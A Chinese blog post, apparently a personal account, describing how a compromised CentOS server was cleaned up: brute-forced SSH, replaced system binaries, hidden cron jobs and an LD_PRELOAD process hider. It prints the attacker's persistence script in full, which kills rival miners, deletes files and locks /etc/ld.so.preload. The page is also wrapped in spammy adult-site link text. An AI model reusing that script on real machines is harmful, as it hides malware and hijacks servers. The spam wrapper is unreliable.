亚洲精品久久久中文字幕-亚洲精品久久片久久-亚洲精品久久青草-亚洲精品久久婷婷爱久久婷婷-亚洲精品久久午夜香蕉

您的位置:首頁技術文章
文章詳情頁

分享服務器被入侵的處理過程

瀏覽:4日期:2023-03-07 14:40:16
目錄
  • 一、服務器入侵現(xiàn)象
  • 二、服務器排查和處理
    • 2.1、服務器被入侵的可能原因
    • 2.2、排查和處理步驟
  • 三、本次入侵需要帶來啟示的點
    • 四、本次服務器被入侵的一些啟示

      下文中的,給文件和目錄加鎖,是指給文件和目錄增加了一些屬性,只讀等。 chattr +ia

      一、服務器入侵現(xiàn)象

      近期有一個朋友的服務器(自己做了網(wǎng)站)好像遭遇了入侵,具體現(xiàn)象是: 服務器 CPU 資源長期 100%,負載較高。 服務器上面的服務不能正常提供服務。

      朋友處理了一會沒有解決,我開始想說我不是搞安全的,我怎么會,但朋友開出了天價,一頓海底撈,我在生活和現(xiàn)實面前低頭了。 開始上手看看了。

      二、服務器排查和處理

      2.1、服務器被入侵的可能原因

      • 服務器 ssh 密碼 設置得很簡單。
      • 騰訊云安全組范圍放得很大。
      • 使用了寶塔,寶塔面板的密碼也是很簡單的密碼(應該不是這個入侵入口)。

      2.2、排查和處理步驟

      ps -ef / top 找出占用進程最大的服務

      問題現(xiàn)象

      ps/top 命令 已經(jīng)被替換了。

      查找詳細的入侵痕跡 last 或者 grep 'Accepted' /var/log/secure

      問題現(xiàn)象

      [root@VM-12-12-centos ~]# grep 'Accepted' /var/log/secure
      Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
      Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
      Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
      Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
      Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
      Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
      Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
      Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8

      lighthouse 騰訊云輕量服務器

      我們在這里就可以看到,有一些境外IP 34.215.138.2 成功登錄了,這些 IP不是我們的正常登錄。 在 /var/log/secure 日志里,我看到了 IP 34.215.138.2 嘗試登錄不到500次 就已經(jīng)破解成功了。

      處理措施

      這里我們立馬采取了第一個措施,

      • 在騰訊云安全組限制了 SSH 的登錄IP, 之前的安全組 SSH 是放行所有IP
      • 將 SSH ROOT 密碼修改。
      • /root/.ssh/authorized_keys 備份,并清空。
      [root@VM-12-12-centos ~]# cp -rp   /root/.ssh/authorized_keys  /root/.ssh/authorized_keys.bakcp: cannot create regular file ‘/root/.ssh/authorized_keys.bak": Permission denied

      這時我們就遇到了權(quán)限的問題,這個晚點展開講,因為我們已經(jīng)限制了源IP, 所以這個我們可以晚點來處理。

      3.查看最近新增的一些用戶

      問題現(xiàn)象

      cat /etc/passwd

      處理措施

      鎖定用戶

      [root@VM-12-12-centos ~]# usermod  -L  sys1  

      4.我這里不計劃去找進程(已經(jīng)在新建一臺版本一致的系統(tǒng), 來拷貝 topps 命令,需要一小會,我們趁這個時間,先看看其他),因為之前朋友重啟過服務器,發(fā)現(xiàn)服務器啟動過一會才會負載較高。我認為入侵者應該放了一些定時任務和啟動腳本里面。

      問題現(xiàn)象

      定時任務

      crond 讀取配置文件會從以下幾個路徑讀取:

      • /var/spool/cron/ , 由crontab -e 進行寫入,配置文件無需指定用戶
      • /etc/crontab ,只能root 進行編輯,配置文件需指定用戶
      • /etc/cron.d/ ,在此文件夾下創(chuàng)建定時任務文件,配置文件需指定用戶
      • /etc/cron.*

      /var/spool/cron/ 未找到(后面會說到這里有障眼法)

      /etc/crontab 未找到(后面會說到這里有障眼法)

      但是我在 /var/log/cron 一直看到有任務執(zhí)行。每間隔5分鐘。

      Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
      Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
      Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )

      Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root )
      Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )

      處理措施

      這里我們先做的操作就是,先把 /usr/lib/mysql/mysql/sbin/httpss 給刪除。刪除的時候還是提示沒有權(quán)限。我們知道這些文件應該是加瑣了,所以我開始解鎖,我們發(fā)現(xiàn) chattr 也被替換和鎖住了。 所以不能操作下去了。

      開機啟動腳本

      /etc/rc.local , 我們也發(fā)現(xiàn)了一個腳本。

      [root@VM-12-12-centos ~]# cat /etc/rc.local
      #!/bin/bash
      # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
      #
      # It is highly advisable to create own systemd services or udev rules
      # to run scripts during boot instead of using this file.
      #
      # In contrast to previous versions due to parallel execution during boot
      # this script will NOT be run after all other services.
      #
      # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
      # that this script will be executed during boot.

      /usr/bin/0f4f80f9ab start

      但是這個文件好像不存在的,我們就把這個給注釋了。

      5.還原更改了 toppschattrlsattr.

      • 首先我們從相同版本的機器拷貝了 chattrlsattr, 我們得先操作這個, 因為我們的 topps 都被鎖住了。
      • 我將文件上傳至 /tmp 目錄,然后增加可執(zhí)行權(quán)限,然后先給 /usr/bin/chattr 解除鎖定。
      /tmp/chattr -ai /usr/bin/chattr
      • 執(zhí)行完之后,發(fā)現(xiàn)還是不能替換 /usr/bin/chattr。 最后耗費了一段時間才反應到,入侵者可能不僅僅加鎖了文件還加鎖了 /usr/bin/
      • 解鎖目錄
      /tmp/chattr -ai /usr/bin/
      • 這下才能把 /usr/bin/chattr 給替換掉。
      • 接下來參考這些,我們把 toppslsattr 給還原了。

      部分截圖

      三、本次入侵需要帶來啟示的點

      pstopchattrlsattr

      在這些命令被替換了,并且我們想還原又還原不了的場景,我們可以拷貝同版本的機器相同的命令放在其它目錄,用這些命令來解除入侵者將它已經(jīng)替換并鎖定了文件。 注意有些入侵者不僅會在文件層面加鎖,還會在當前的文件的目錄這一層加鎖。我之前在這個上面困惑了一段時間。

      文件內(nèi)容隱藏

      上文中,我執(zhí)行 crontab -l 和 cat 查看 /etc/cron.d/ 下面的文件。發(fā)現(xiàn)文件沒有內(nèi)容。

      其實不知道使用了什么特殊字符還是什么隱藏了, 其實是存在定時任務的。

      示例:

      這個配置是如何導致 cat/more 看不了的, 今天再次看了下,這個文件可能是被當成了數(shù)據(jù)文件,因為我把這個文件 file 查看了之后,文件屬性是data. 然后文件包含的特殊字符。導致隱藏了,具體的有知道的大佬可以告知下。

      其中一個腳本。

      [root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 #!/bin/shwhile test 1 = 1dosleep 30pkill -f mainkillall mainkillall sprshduerjsaiapkill -f sprshduerjsaiakillall dr64pkill -f dr64killall .report_systempkill -f .report_systemkillall sshcpkill -f sshcpkill -f memorykillall memorykillall warmupkillall kokokillall kthreaddkkillall systemckillall crontkillall xm64_linuxkillall /var/tmp/j/./intelshellpkill -f dos32pkill -f dos64pkill -f .namepkill -f /usr/sbin/dbuspkill -f systemd-boot-check-no-failureskillall .report_systempkill -f .report_systempkill -f keep-alivepkill -f linupkill -f zappppkillall [scan]killall [ext4]pkill -f xm64_linuxpkill -f ddrirckillall ./-bashpkill -f ./-bashkillall kworkerskillall dbuspkill -f biden1pkill -f cpuminer-sse2killall work64pkill -f work64killall work32pkill -f work32killall aarch12pkill -f aarch12killall bash1pkill -f bash1killall intelshellpkill -f intelshellkillall heavenpkill -f heavenkillall .syst3mdpkill -f .syst3mdpkill -f apachelogskillall .meinkampfpkill -f .meinkampfkillall xripkill -f xrikillall kokopkill -f kokokillall work32-deamonpkill -f work32-deamonkillall work64 -deamonpkill -f work64 -deamonkillall secure.shpkill -f secure.shkkillall auth.shpkill -f auth.shkillall autoupdatepkill -f kworkerspkill -f autoupdatekillall ld-linuxpkill -f ld-linuxpkill -9 Donaldkillall -9 Donaldpkill -f /usr/local/bin/pnscanpkill -f /usr/bin/biden1killall /usr/bin/biden1killall rkillall tracepkill -f minerdkillall minerdpkill -f xm64killall xm64pkill -f sysdmkillall sysdmpkill -f syst3mdkillall syst3mdpkill -f xrigkillall xrigpkill -f busyboxkillall busyboxpkill -f josephkillall josephpkill -f osamakillall osamakillall daemonpkill -f obama1killall obama1pkill -f kswapd0killall kswapd0pkill -f jehgmskillall jehgmspkill -f tsmkillall tsmpkill -f rigkillall rigpkill -f xmrkillall xmrpkill -f playstationkillall playstationpkill -f ld-linux-x86-64killall ld-linux-x86-64pkill -f ruckusapdkillall ruckusapdpkill -f run64killall run64pkill -f pwnrigkillall pwnrigpkill -f phpupdatekillall phpupdatepkill -f sysupdatekillall sysupdatepkill -f phpguardkillall phpguardpkill -f firstpresskillall firstpresspkill -f zerocertkillall zerocertpkill -f masscankillall masscanpkill -f -bashpkill -f spreadQlmnopkillall spreadQlmnopkillall -bashpkill -f cnrigkillall cnrigpkill -f netvhostkillall netvhostpkill -f kthreaddskillall kthreaddspkill -f kthreaddkillall kthreaddpkill -f kdevtmpfsikillall kdevtmpfsipkill -f linuxservicekillall linuxservicepkill -f rtmonitorkillall rtmonitorpkill -f devkillall devpkill -f xmrigkillall xmrigpkill -f masterkillall masterkillall sysmdpkill -f sysmdpkill -f sendmailkillall sendmailpkill -f ld-musl-x86_64.killall ld-musl-x86_64.killall watchdogpkill -f watchdogpkill -f 32678killall 32678killall dhpcdpkill -f dhpcdkillall linux_amd64pkill -f linux_amd64killall xredispkill -f xrediskillall Linux2.6killall .chornydpkill -f .chornydkillall Operapkill -f Operakillall libertydpkill -f libertydkillall rcubindpkill -f rcubindkillall clamscanpkill -f clamscankillall pnscanpkill -f pnscankillall zzhpkill -f zzhkillall bioserpkill -f bioserrm -rf /root/.configrc/rm -rf /tmp/.X26-unix/rm -rf /tmp/.bash/rm -rf /root/.bash/rm -rf /root/.cache/rm -rf /tmp/.cache/rm -rf /dev/shm/.ssh/rm -rf /etc/.etcservice/linuxservicerm -rf /etc/.vhost/netvhostrm -rf /tmp/up.txtrm -rf /var/tmp/.update/rm -rf /var/tmp/.systemd/rm -rf /usr/sbin/.bash./.bash/rm -rf /etc/masterrm -rf /usr/bin/busyboxrm -rf /bin/sysmdrm -rf /tmp/.mx/rm -rf /dev/shm/.mx/rm -rf /usr/bin/xrigrm -rf /etc/32678rm -rf /root/c3pool/rm -rf /usr/bin/.sshd/rm -rf /tmp/divsystemctl stop c3pool_miner.servicesystemctl stop pwnriglhttps.servicesystemctl stop crytosystemctl stop scansystemctl stop botsystemctl stop myservice.servicesystemctl stop netns.servicesystemctl stop cryptsetup.serviceecho /usr/local/lib/libprocesshider.so > /etc/ld.so.preloadlockr +ai /etc/ld.so.preload >/dev/null 2>&1chmod 777 /usr/lib/mysql/*/usr/lib/mysql/./mysqldone

      我們可以看到這個腳本其實一直在 更改 /etc/ld.so.preload 的內(nèi)容。 并且在關閉一些掃描軟件和系統(tǒng)的服務。

      在 Linux 操作系統(tǒng)的動態(tài)鏈接庫加載過程中,動態(tài)鏈接器會讀取 LD_PRELOAD 環(huán)境變量的值和默認配置文件 /etc/ld.so.preload 的文件內(nèi)容,并將讀取到的動態(tài)鏈接庫進行預加載,即使程序不依賴這些動態(tài)鏈接庫,LD_PRELOAD 環(huán)境變量和 /etc/ld.so.preload 配置文件中指定的動態(tài)鏈接庫依然會被裝載,它們的優(yōu)先級比 LD_LIBRARY_PATH 環(huán)境變量所定義的鏈接庫查找路徑的文件優(yōu)先級要高,所以能夠提前于用戶調(diào)用的動態(tài)庫載入。

      ——段落引自《警惕利用 Linux 預加載型惡意動態(tài)鏈接庫的后門》

      我已經(jīng)刪除了 /usr/local/lib/libprocesshider.so 文件,之后每次執(zhí)行命令會有這個報錯。

      我在清空文件 /etc/ld.so.preload 之后,我發(fā)現(xiàn)好了一會后,還是出現(xiàn)這個,我再看 /etc/ld.so.preload 文件,里面又寫了 /usr/local/lib/libprocesshider.so ,我懷疑還有定時任務,但是我找了一會定時任務,還是沒有找到。 后面在查看異常進程的時候,我看到了這個進程

      發(fā)現(xiàn)這個腳本的就是一直在循環(huán)執(zhí)行上面內(nèi)容。 將這個進程 kill 后,然后刪除腳本。

      四、本次服務器被入侵的一些啟示

      1. 用好云廠家的安全組。對一些關鍵端口,放行規(guī)則盡量最小/
      2. 服務器相關的一些密碼盡量增加復雜性。
      3. 增加對一些關鍵文件的監(jiān)控. (通過監(jiān)控軟件監(jiān)控 md5值)
      • /etc/passwd
      • /etc/shadow
      • /etc/group
      • /root/.bash_history
      • /root/.ssh/authorized_keys
      • /etc/ssh/sshd_config
      • /etc/profile
      • /var/spool/cron/root
      • /etc/crontab
      • /etc/ld.so.preload
      • /etc/rc.local
      • lsof
      • ps
      • netstat
      • top
      • ls
      • pstree
      • last
      • history
      • sudo
      • password
      • chattr
      • lsattr

      4.服務器入侵之后,我們需要怎么處理才是最好的。

      1.服務器如果有開放SSH 遠程登錄,可以設置限制登錄(安全組、或者服務),只放行自己的IP. 查找詳細的入侵痕跡 last 或者 grep 'Accepted' /var/log/secure

      /root/.ssh/authorized_keys /etc/passwd 這些文件也可以看下。將一些新建的用戶鎖定。

      2.服務器如果可以關閉外網(wǎng),就關閉外網(wǎng)。 在安全組層面設置下,或者路由或者NAT。

      3.首先看下 ps/top 命令有沒有被篡改, 如果有的話, 從其他正常的機器上拷貝至服務器上。 然后執(zhí)行查看異常進程。也要查詢下 /etc/ld.so.preload 是否有被篡改。如果有的的話,記得清空里面的內(nèi)容,然后將對應的文件刪除或者重命名。

      如果使用過程中遇到了文件不可刪,不可改的問題,需要使用 chattr -ia 文件名 如果 chattr 也被串改,那就需要從別的機器拷貝。然后復原。

      4.如果上述沒有找到,可以通過 netstat 間接查看異常的連接從而查詢異常進程。

      5.檢查開機啟動 和 crontab 相關的內(nèi)容 。

      6.檢查異常進程。

      以上就是這次入侵的處理過程和得到的一些小啟示,后續(xù)有了解新的會繼續(xù)補充。

      到此這篇關于分享服務器被入侵的處理過程的文章就介紹到這了,更多相關服務器入侵處理內(nèi)容請搜索以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持!

      標簽: Linux Apache
      主站蜘蛛池模板: 欧美高清不卡 | 国产大陆亚洲精品国产 | 欧美一级性生活视频 | 日本大片久久久高清免费看 | 无码精品一区二区三区免费视频 | 国产精品免费aⅴ片在线观看 | 特黄特级高清免费视频毛片 | 欧美日韩国产一区二区 | 欧美成人免费tv在线播放 | 黑人猛男大战俄罗斯白妞 | 日本国产精品 | 青青青青青国产免费手机看视频 | 手机看片1024久久 | 2021色噜噜狠狠综曰曰曰 | 99免费视频 | 成人午夜大片免费视频77777 | 久久国产主播 | 国产高清一区二区 | 亚州淫片aaaa视频 | 亚洲精品欧美精品日韩精品 | 久久精品亚洲综合一品 | 欧美成人观看视频在线 | 国产一区二区高清在线 | 看看黄色一级片 | 黄色在线免费播放 | 日韩欧美一区二区三区中文精品 | 国产男女性特黄录像 | 午夜精品久久久久久影视riav | 国产男女乱淫真视频全程播放 | 九九爱精品 | 国产一在线 | 狠狠亚洲婷婷综合色香 | 婷婷色综合久久 | 亚洲作爱视频 | 婷婷国产成人久久精品激情 | 激情在线日韩视频免费 | 久久久精品在观看999 | 一级黄色淫片 | 亚洲精品综合网在线8050影院 | 国产又色又爽免费视频 | 在线看的毛片 |